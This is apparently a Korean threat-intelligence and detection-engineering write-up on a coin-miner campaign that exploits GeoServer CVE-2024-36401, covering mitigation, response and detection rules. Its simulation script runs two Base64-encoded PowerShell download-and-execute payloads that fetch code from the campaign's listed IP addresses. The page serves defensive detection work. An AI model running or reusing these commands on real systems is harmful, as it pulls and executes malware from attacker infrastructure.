GeoServer 공격받다: 악성코드 코인 마이너 캠페인
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
위협 행위자들은 GeoServer의 원격 코드 실행 취약점 CVE-2024-36401을 활용하여 암호화폐 채굴기와 NetCat을 패치되지 않은 서버에 배포하고 있습니다. 이 활동은 여러 악성 도메인과 IP 주소에서 XMRig을 다운로드하고 실행하기 위해 PowerShell, Bash, 및 certutil을 사용합니다. 여러 다운로더 스크립트와 드로퍼가 사용되며, 일반적으로 ZIP 아카이브로 패키지화되어 NSSM을 통해 서비스로 지속됩니다. 주요 목표는 무단 채굴을 위한 컴퓨팅 자원을 확보하는 것입니다.
조사
보고서는 인코딩된 PowerShell, Bash 기반 페쳐, 및 certutil을 사용하여 채굴기 페이로드를 가져오는 세 가지 변종(A, B, C)을 설명합니다. pool.supportxmr.com 및 여러 aaaaaaaaa.cyou 하위 도메인입니다. 전달 메커니즘에는 배치 스크립트, ZIP 번들, 그리고 시스템d라는 맞춤형 다운로더와 HTTP 기본 인증 자격 증명이 포함됩니다. 분석가는 탐지 및 범위를 지원하기 위해 주요 지표—URL, IP 주소, 파일 이름—를 추출했습니다.
완화
CVE-2024-36401를 해결하는 GeoServer 패치를 적용하고 최신 지원 릴리스로 배포를 유지하세요. 알려진 채굴 풀 및 관련 인프라에 대한 아웃바운드 연결을 차단하고 인코딩된 PowerShell 또는 Bash 실행을 모니터링하세요. 비관리자 컨텍스트의 certutil 사용을 제한하고 NSSM을 통해 설치된 무단 서비스의 방지를 위해 애플리케이션 허용 목록을 강제하세요.
응답
관측된 명령줄, 해시, 네트워크 지표에 대한 탐지를 구현하세요. 영향을 받은 호스트를 격리하고 채굴기 서비스 및 지속성 아티팩트를 제거하며 부차적인 페이로드가 있는지 포렌식 조사를 수행하세요. 노출된 자격 증명을 교체하고 관리 액세스를 위해 다중 요소 인증을 요구하세요.
공격 흐름
탐지
Windows Defender 보호 비활성화 (레지스트리 이벤트 통해)
보기
Windows Defender 환경설정의 의심스러운 변경 (PowerShell 통해)
보기
가능한 지속성 지점 [ASEP – 소프트웨어/NTUSER Hive] (레지스트리 이벤트 통해)
보기
의심스러운 디렉토리 / 바이너리 / 스크립트를 가리키는 Schtasks (명령줄 통해)
보기
공용 사용자 프로필에 의심스러운 파일 (파일 이벤트 통해)
보기
PowerShell을 통한 다운로드 또는 업로드 (명령줄 통해)
보기
IOCs (SourceIP)를 탐지: GeoServer를 대상으로 하는 악성코드 코인 채굴기 공격 사례
보기
IOCs (DestinationIP)를 탐지: GeoServer를 대상으로 하는 악성코드 코인 채굴기 공격 사례
보기
IOCs (HashMd5)를 탐지: GeoServer를 대상으로 하는 악성코드 코인 채굴기 공격 사례
보기
GeoServer 취약점을 악용한 악성 페이로드 다운로드를 위한 Certutil 사용 탐지 [Windows 프로세스 생성]
보기
GeoServer 취약점을 타겟으로 한 인코딩된 PowerShell 명령 탐지 [Windows PowerShell]
보기
시뮬레이션 실행
사전 요구 사항: Telemetry & Baseline Pre-flight Check가 통과해야 합니다.
이유: 이 섹션은 탐지 규칙을 트리거하도록 설계된 적 배술 기법(TTP)의 정확한 실행을 상세히 설명합니다. 명령 및 서사는 식별된 TTP와 직접적으로 반영되며 탐지 논리에 의해 예상되는 정확한 텔레메터리를 생성하는 것을 목표로 합니다.
-
공격 서사 및 명령:
공격자는 취약한 GeoServer 구성 파일을 다운로드하고 이를 실행한 후 암호화폐 채굴기를 드롭하는 악성 Base64 페이로드를 획득했습니다. 단순한 스크립트-차단 탐지를 피하기 위해, 공격자는-enc스위치를 미리 인코딩된 문자열(두 개의 알려진 IOC 중 하나)과 함께 사용합니다. 공격자는 손상된 Windows 호스트에서 로컬로 페이로드를 실행하며, 이는 규칙이 감시하는 정확한 Base64 문자열을 포함한powershell.exe프로세스 생성을 유발합니다. -
회귀 테스트 스크립트:
# ------------------------------------------------- # Sigma 규칙을 트리거하는 회귀 스크립트 # ------------------------------------------------- # 페이로드 1 (첫 번째 IOC와 일치) $b64_1 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMjIwLjg0LjEwNy42OS9qcy9ndy50eHQnKQA=' powershell.exe -enc $b64_1 # 페이로드 2 (두 번째 IOC와 일치) $b64_2 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8xMTkuMTk0LjE1My4zMTo4MDgwL2ljb24vanMvd2kudHh0Jyk=' powershell.exe -enc $b64_2 -
정리 명령:
# ------------------------------------------------- # 정리 - 남아있는 모든 PowerShell 페이로드 종료 # ------------------------------------------------- Get-Process -Name powershell -ErrorAction SilentlyContinue | Where-Object { $_.StartInfo.Arguments -match '-enc' } | Stop-Process -Force